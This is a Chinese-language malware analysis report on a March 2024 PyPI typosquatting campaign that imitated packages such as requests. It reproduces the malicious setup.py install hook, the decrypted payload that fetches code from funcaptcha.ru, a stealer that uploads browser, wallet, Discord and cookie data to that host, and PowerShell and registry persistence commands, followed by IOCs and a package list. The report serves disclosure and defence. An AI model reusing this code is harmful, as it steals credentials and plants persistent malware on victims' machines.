2024年3月26号，天问Python供应链威胁监测模块发现PyPI中短时间内出现了大量利用包名伪造的恶意包，这些恶意包采用和流行包（例如requests）极其相似的包名来诱导用户下载。这些恶意包会窃取用户隐私信息，并持久化驻留在受害主机中。此次事件中，攻击者所表现的自动化、专业化、组织化值得警惕。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块，”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。

1. 伪造包名攻击（TypoSquatting)

2024年3月26号，天问Python供应链威胁监测模块发现了PyPI出现了大量恶意软件包。这些恶意包均使用了伪造包名攻击[1,2]，即模仿流行包的名称进行命名，例如流行良性包colorama、pillow、requests等。当开发者通过命令行形式下载安装这些软件包时，他们如果错误输入了一个字符，就可能导致下载到这些恶意包，从而被攻击。

我们分析了这些恶意包，发现他们均使用了第三方加密库fernet来隐藏exec实际执行的内容。除此之外，这些软件包的版本号均为1.0.0，软件包的目录结构基本一致，因此我们推测这些软件包来自同一个攻击者或者组织。截止发稿前，我们共监测到了582个此类恶意包。

我们从这些恶意包中挑选了requstss-1.0.0进行了细致的分析，从而得到完整的攻击链条。

Step 1: 伪造包名，欺骗用户下载

仿照流行的PyPI软件包requests命名为requstss，用户误输入时会导致下载到恶意的软件包。

Step 2: 安装时自启动

requstss-1.0.0的包目录结构如下图所示，其中只包含setup.py一个python文件。攻击者在其中添加了恶意代码，当软件包安装时，恶意代码会被自动执行。

image-20240327150024239

requstss-1.0.0/setup.py

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from setuptools import setup, find_packages
from setuptools.command.install import install
import os

VERSION = '1.0.0'
DESCRIPTION = 'YFqdzDnaUEbcMZAPL uXTNKyXRFkdxahHWuvijHmxKblIMVXuq'
LONG_DESCRIPTION = 'QUIZGtjBPQaps eaPdsMUJTYGXpnDHKVMUnKEGmGrYRATYFxDaJAinsVCQnHIQMMCDUTtUvPLjSsYbHOOPWuOpMZLHBWuaZwB dmZOYblwMYENvFtzCiDcHUKcNeXYkMxlksadnTMBLUBRyIvppmMNKxqBICFImVXLalsUYBINheUHRMOdkRruucJPTgDDBLkvDnoSJFIjTFKtIeLUosOh uoBEfLJTVQw opqEDYjCQdzUZUJuMWwAdEAMZRAnasGOanIdKNycUVAuTckhwFrgiUqfDyY'


class GruppeInstall(install):
        def run(self):
            import os
            if os.name == "nt":
                import requests
                from fernet import Fernet
                exec(Fernet(b'EBjiyW0IuU6BYDGcO4qeB8piLtEszp6Qy3nIdoy-dpg=').decrypt(b'gAAAAABmA0bbhYYeLFxkKwlWInbwbtJ3Qqau_yXrjZdIoLbGBXGNhvc2eDBWOC5ze1ZEZACNwKCpm4MIZ8O03smYQ8XFGBCcS69OBSY5UY4KWz1llHM3nC8rjsLjt_K6etERuf7lu4msnVvMZVzoK0VxppKYBp6gojv2HSn9seQexnYZG05v7IuqHxXzYop0lB3upNzcWdmTysV0jH9QDElUM_xZpvpQG2bGcreo_jukTsYmZG0U6xw='))
                install.run(self)
                
setup(
    ...
    cmdclass={
        'install': GruppeInstall,
    },
    packages=find_packages(),
    setup_requires=['fernet', 'requests'],
    ...
)

由setup参数可知，其下载安装时会执行GruppeInstall()函数，其中会对执行环境进行探测，如果不是windows环境，则不执行其中的恶意代码，以此来规避可能的沙箱分析。

对Fernet加密的内容执行解密后，我们得到了exec执行的内容，如下所示

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b"exec(requests.get('https[:]//funcaptcha.ru/paste2?package=requstss').text.replace('<pre>','').replace('</pre>',''))"

经过测试，其他的软件包经过解密得到的内容仅在包名上存在差异，由此可知这些恶意包来源相同。此外，我们通过司南平台检索了funcaptcha[.]ru这个域名，发现其在2024/03/11刚刚注册。

Step 3: 从远端服务器下载恶意载荷

代码从https[:]//funcaptcha.ru/paste2?package=requstss下载文本，替换其中的标签后执行。下载的文本如下所示

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import sys
import os
content = """
import subprocess
import sys
subprocess.run(["cmd.exe", "/c", sys.executable, "-m", "pip", "install", "fernet"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
from fernet import Fernet
exec(Fernet(b'0NZNQrY2qyKltdz...').decode())
"""
gruppe_path = os.path.join(os.getenv('APPDATA'), 'gruppe.py')

with open(gruppe_path, 'w') as file:
    file.write(content)


os.system(sys.executable + " " + gruppe_path)

从代码中，我们可以看到攻击者同样使用了fernet来混淆实际代码，通过加解密的方式在内存中实际执行真正的恶意代码。

Step 4: 恶意代码写入本地文件，并执行

从上面代码可知，攻击者将含有混淆代码的content写入了gruppe.py文件进行执行。我们对其中Fernet加密的内容进行了解密，得到了实际的攻击代码，如下所示。

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import *
...

STORAGE_PATH = APPDATA + "\\gruppe_storage"
STARTUP_PATH = os.path.join(APPDATA, "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
...

if not os.path.exists(STORAGE_PATH):
    os.makedirs(STORAGE_PATH)

def zip_to_storage(name, source, destination):
    ...

def upload_to_server(filepath):
    for i in range(10):
        try:
            url = "https://funcaptcha.ru/delivery"
            files = {'file': open(filepath, 'rb')}
            r = requests.post(url, files=files)
            if r.status_code == 200:
                break
        except: pass
...

for browser in CHROMIUM_BROWSERS:
    ...
for wallet_file in WALLET_PATHS:
    ...
for discord_path in DISCORD_PATHS:
    ...
for cookie in COOKIES:
    ...
    zip_to_storage(f"{browser['name']}-{subpath['name']}-{extension['name']}", extension_path, STORAGE_PATH)

for file_to_upload in os.listdir(STORAGE_PATH):
    try:
        upload_to_server(STORAGE_PATH + "\\" + file_to_upload)
    except:
        pass

try:
    URL = "https://funcaptcha.ru/hvnc.py"
    r = requests.get(URL)
    with open(os.path.join(STARTUP_PATH, "hvnc.py"), "wb") as f:
        f.write(r.content)
except: pass
try:
    os.remove(STORAGE_PATH)
except: pass

攻击者窃取了受害者主机中的隐私信息，包括浏览器插件、钱包信息、Discord账号、cookie等，并将其存储在指定目录下，然后统一通过https[:]//funcaptcha.ru/delivery上传到攻击者控制的服务器。

Step 5: 攻击程序本地持久化

另外，观察上面代码末尾，我们发现攻击代码会下载hvnc.py文件到本地Windows的开机启动项目录下，实现开机自启动。

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STARTUP_PATH = os.path.join(APPDATA, "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
...
try:
    URL = "https://funcaptcha.ru/hvnc.py"
    r = requests.get(URL)
    with open(os.path.join(STARTUP_PATH, "hvnc.py"), "wb") as f:
        f.write(r.content)
except: pass

hvnc.py会下载hvnc.exe到本地，并持久化运行。具体代码如下所示

hvnc.py

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import os
import subprocess
script = """
import os
...
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://funcaptcha.ru/hvnc.exe', '%temp_file%')"

start "" "%temp_file%"
"""

appdata = os.environ.get('APPDATA', '')
if appdata:
    ...
    script_path = os.path.join(appdata, 'Microsoft', 'runpython.py')
    with open(script_path, 'w') as script_file:
        script_file.write(script)
subprocess.Popen(['python', script_path], creationflags=subprocess.CREATE_NO_WINDOW)

目前https[:]//funcaptcha.ru/hvnc.py中的内容已被替换为了print()

2. 攻击程序本地持久化

攻击者在恶意包安装过程中会进行信息窃取，最后会在受害者主机上下载安装hvnc.exe，实现恶意程序本地持久化和自启动。

2.1 沙箱分析

天穹沙箱对于hvnc.exe的分析结果如下所示

image-20240328113103815

通过沙箱的分析结果，我们可以看到hvnc.exe会执行PowerShell脚本，连接德国的一个服务器194[.]62.248.64，疑似C2服务器地址。同时攻击程序收集用户的隐私数据，因此我们推测其目的同上文中的python代码一致，均为窃取受害者主机中的隐私信息进行回传。

我们使用天穹GPT对此样本的行为意图进行了总结分析，如下所示。

gpt

2.2 人工分析

之后，我们对hvnc.exe做了进一步的人工分析，来确定其真实的攻击代码。

加载器Loader

通过DiE(Detect It Easy)这个软件，我们发现hvnc.exe由C#语言代码编译而成。而且代码经过了混淆处理，核心加载代码如下图所示。

hvnc-main

经过我们的分析，发现Main函数执行过程中会通过动态加载的方式载入一个.dll文件。其中.dll文件通过Lfef.GFjwoefg()进行载入。具体函数方法如下所示

hvnc-step1

函数使用GZipStream解压缩以及Array.Reverse的方法，将编码成字节数组的.dll文件载入内存并返回。

反射DLL文件

我们通过沙箱捕获到了这个动态加载的Cjvyt.dll文件，测试发现其经过了.NET Reactor混淆处理。我们使用NETReactorSlayer对其进行了反混淆处理，分析得到了其所相关的恶意行为，主要包括以下几点。

  • 利用WMI获取系统敏感信息

    处理器ID、磁盘序列号、物理内存序列号、操作系统信息、系统安装反病毒软件名称、系统安装图像设备或摄像头设备信息

  • 检索加密货币应用，并收集其中的敏感信息

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    {
    	"ibnejdfjmmkpcnlpebklmnkoeoihofec",
    	"TronLink"
    }, {
    	"nkbihfbeogaeaoehlefnkodbefgpgknn",
    	"MetaMask"
    },...

  • 窃取浏览器隐私信息，浏览器列表如下所示

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    Chromium, Chrome, Brave, Edge, QQBrowser, ChromePlus, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Kometa, Elements, Epic Privacy, Uran, Sleipnir5, Citrio, Coowon, liebao, QIP Surf, Orbitum, Dragon, Amigo, Torch, Comodo, 360Browser, Maxthon3, K-Melon, Sputnik, Nichrome, CocCoc, Uran, Chromodo, Atom

  • 执行PowerShell脚本，设置开机自启动

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    Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'hvnc';
    New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'hvnc' -Value '"C:\Users\win10user\AppData\Roaming\hvnc.exe"' -PropertyType 'String'

通过VirusTotal检测，Cjvyt.dll文件疑似为zgRAT恶意家族文件，主要用于窃取用户的浏览器数据和加密货币信息。

3. 事件梳理

时间线

我们对攻击事件中涉及的各个软件、网站的相关时间线进行了梳理分析，具体结果如下所示。

  • 2024/03/11 https[:]//funcaptcha.ru 域名注册 （司南平台数据）
  • 2024/03/26 PyPI出现大量由不同用户发布的TypoSquatting恶意软件包
  • 2024/03/27 天问团队监测并反馈PyPI此次攻击事件，PyPI删除了所有相关恶意软件包
  • 2024/03/27 晚8点，攻击者再次批量发布TypoSquatting恶意软件包，目前均已被PyPI删除
  • 2024/03/28 https[:]//funcaptcha.ru/hvnc.py内容被替换为print()

恶意包分类统计

此次攻击事件中，我们总共发现了582个TypoSquatting恶意包。将这些恶意包按照模仿的包名进行分类统计，具体数据如下表所示

流行的良性包名称 TypoSquatting恶意包数量
requests 36
py-cord 60
colorama 34
capmonstercloudclient 36
pillow 20
bip-utils 24
tensorflow 29
BeautifulSoup 25
PyGame 26
SimpleJson 15
Matplotlib 37
PyTorch 26
CustomTKInter 67
selenium 28
playwright 17
asyncio 15
requirements 67

IOC

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f76cb49209891942d2ca806020803edc     hvnc.exe   
875d15b84fa6068e387efc335caf7a3c     Cjvyt.dll（反射加载的dll文件）  
194.62.248[.]64:56003                C2
https[:]//funcaptcha.ru              恶意下载链接域名

本次攻击事件中攻击者使用了不同账号在短时间内同时发布多个内容相近的恶意包，表明其拥有自动化生成并发布PyPI恶意包的能力。案例中涉及的攻击代码均为首次出现，而且涉及了大量混淆操作来对抗查杀分析。此次攻击中，攻击者使用了一个定制域名，而且在PyPI删除恶意包后能够及时反应，删除核心恶意代码。这些现象都表明此次攻击是一次有准备、有预谋的软件源投毒事件，而且攻击的专业程度非常高。这次攻击事件也反映出了在PyPI严格监管的背景下，恶意包趋向于专业化、组织化、自动化，以此来对抗可能的检测查杀，值得我们警惕。

4. 恶意包列表

包名 版本 作者 上传时间
schubismomv3 1.0.0 jamesadgamtsf 2024-03-26T17:08:51
schubismomv3 1.1.0 jamesadgamtsf 2024-03-26T17:14:54
schubismomv3 1.2.0 jamesadgamtsf 2024-03-26T17:35:23
schubismomv3 1.3.0 jamesadgamtsf 2024-03-26T18:29:00
schubismomv3 1.4.0 jamesadgamtsf 2024-03-26T18:44:07
schubismomv3 1.5.0 jamesadgamtsf 2024-03-26T18:50:44
schubismomv3 1.6.0 jamesadgamtsf 2024-03-26T18:53:30
schubismomv3 1.7.0 jamesadgamtsf 2024-03-26T19:02:18
schubismomv3 1.8.0 jamesadgamtsf 2024-03-26T19:05:59
schubismomv3 1.9.0 jamesadgamtsf 2024-03-26T19:07:31
schubismomv3 1.10.0 jamesadgamtsf 2024-03-26T19:31:04
insanepackagev1414 1.0.0 WjrebFecca59 2024-03-26T20:56:55
insanepackageongong192 1.0.0 WjrebFecca59 2024-03-26T21:07:10
insanepackageongong11192 1.0.0 WjrebFecca59 2024-03-26T21:07:58
insanepackage217424422342983 1.0.0 fraBnPkjennvifer 2024-03-26T21:19:10
insanepackage2179824234242342433 1.0.0 fraBnPkjennvifer 2024-03-26T21:19:15
insanepackage217234234242423442983 1.0.0 fraBnPkjennvifer 2024-03-26T21:19:40
insanepackage21724342386744243242983 1.0.0 fraBnPkjennvifer 2024-03-26T21:20:30
requetsts 1.0.0 ethompsonJvictorbia 2024-03-26T22:06:08
requstss 1.0.0 lauAriCe4V5 2024-03-26T22:06:20
requetsq 1.0.0 john1qmayX 2024-03-26T22:06:23
reqoests 1.0.0 andersosgnjennifLer 2024-03-26T22:06:25
reqquest 1.0.0 5Uwyford 2024-03-26T22:06:28
requewsts 1.0.0 xcaHrXt3er 2024-03-26T22:06:30
reqeustz 1.0.0 fergusM2onsarahE 2024-03-26T22:06:33
requestr 1.0.0 keGtLvinjohns 2024-03-26T22:06:34
requesks 1.0.0 kSaren1gm6 2024-03-26T22:06:39
reqeustx 1.0.0 wfilli78amstommy 2024-03-26T22:06:41
reqeosts 1.0.0 TaEEbigail71 2024-03-26T22:06:43
requesxts 1.0.0 roberUStk3ing 2024-03-26T22:06:46
requesqs 1.0.0 khogeaMnd 2024-03-26T22:06:49
requeksts 1.0.0 nzbaeljl 2024-03-26T22:06:51
requesxt 1.0.0 briaW1ncaLbrera 2024-03-26T22:06:55
requeqsts 1.0.0 juUsbtPin21 2024-03-26T22:06:57
requesuts 1.0.0 maria0hjmolinaJ 2024-03-26T22:06:59
requetsa 1.0.0 brPandon6T3e 2024-03-26T22:07:02
reqjuests 1.0.0 lisawilkXinJsDon 2024-03-26T22:07:05
requnests 1.0.0 7sperrQye 2024-03-26T22:07:07
reqeist 1.0.0 wlaQrsonliZsa 2024-03-26T22:07:10
reqzests 1.0.0 chads9au5nPders 2024-03-26T22:07:12
requyests 1.0.0 UBveroni9caanderson 2024-03-26T22:07:15
reqeuste 1.0.0 hoodlord2ji 2024-03-26T22:07:17
requesxs 1.0.0 julEeiannegal 2024-03-26T22:07:19
reqeyst 1.0.0 davYidlebl6an0c 2024-03-26T22:07:21
requesrts 1.0.0 maryf0ozIrd 2024-03-26T22:07:26
requxsts 1.0.0 conndoiemcd9onald 2024-03-26T22:07:30
requekts 1.0.0 hvrobinstewkart 2024-03-26T22:07:34
requesgt 1.0.0 lAschult1gz 2024-03-26T22:07:36
requssts 1.0.0 rogEDer8M2 2024-03-26T22:07:42
requzsts 1.0.0 w9eLstandrewJ 2024-03-26T22:07:48
requksts 1.0.0 gadavi9dsonsamuel 2024-03-26T22:07:52
requas 1.0.0 pagtrick89kC 2024-03-26T22:07:55
requeits 1.0.0 setRhjhopkzins 2024-03-26T22:07:57
reqsests 1.0.0 jeannest9xevens5on 2024-03-26T22:08:02
py-cordd 1.0.0 cawnPdicepegterson 2024-03-26T22:57:56
pi-cord 1.0.0 cwilllgiAams 2024-03-26T22:58:00
py-cod 1.0.0 desireetcaldyeronX 2024-03-26T22:58:07
py-vord 1.0.0 marqueAzkristVya 2024-03-26T22:58:14
p-cord 1.0.0 asUdkinssarwah 2024-03-26T22:58:22
py-coed 1.0.0 rbecRkermegamn 2024-03-26T22:58:28
py-cofd 1.0.0 taylor7Oloung 2024-03-26T22:58:33
py-cotd 1.0.0 NezbarnAes 2024-03-26T22:58:45
py-cotrd 1.0.0 0mpattefrsotn 2024-03-26T22:58:57
py-crd 1.0.0 colli5nskathruynR 2024-03-26T22:59:02
py-c0red 1.0.0 ngrimes55O 2024-03-26T22:59:06
py-xord 1.0.0 VtammTy803 2024-03-26T22:59:10
py-co4d 1.0.0 Jm5auricebtrown 2024-03-26T22:59:16
py-c0ard 1.0.0 chrixstopherhiggi4n5s 2024-03-26T22:59:21
py-cird 1.0.0 patr2Uic9iaroberts 2024-03-26T22:59:28
py-corddd 1.0.0 afmJy100 2024-03-26T22:59:32
py-cprd 1.0.0 mEpatterRsonM 2024-03-26T22:59:34
py-c9rd 1.0.0 jamesan7ge2laJ 2024-03-26T22:59:37
py-c0dd 1.0.0 eVkmma475 2024-03-26T22:59:42
py-corrd 1.0.0 brandQQyon49 2024-03-26T22:59:50
py-cortd 1.0.0 mwarciawilliaTnms 2024-03-26T22:59:54
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参考链接

[1] 【天问】PyPI再遭Typosquat投毒，python-dateutils竟是挖矿脚本？ https://tianwen.qianxin.com/blog/2022/06/29/python-dateutils-typosquat/

[2] 【天问】PyPI 2023年Q3恶意包回顾（一） https://tianwen.qianxin.com/blog/2023/10/17/PyPI-2023-Q3-1/

[3] 天穹沙箱 https://sandbox.qianxin.com/

[4] “天问”软件供应链安全分析平台 https://tianwen.qianxin.com/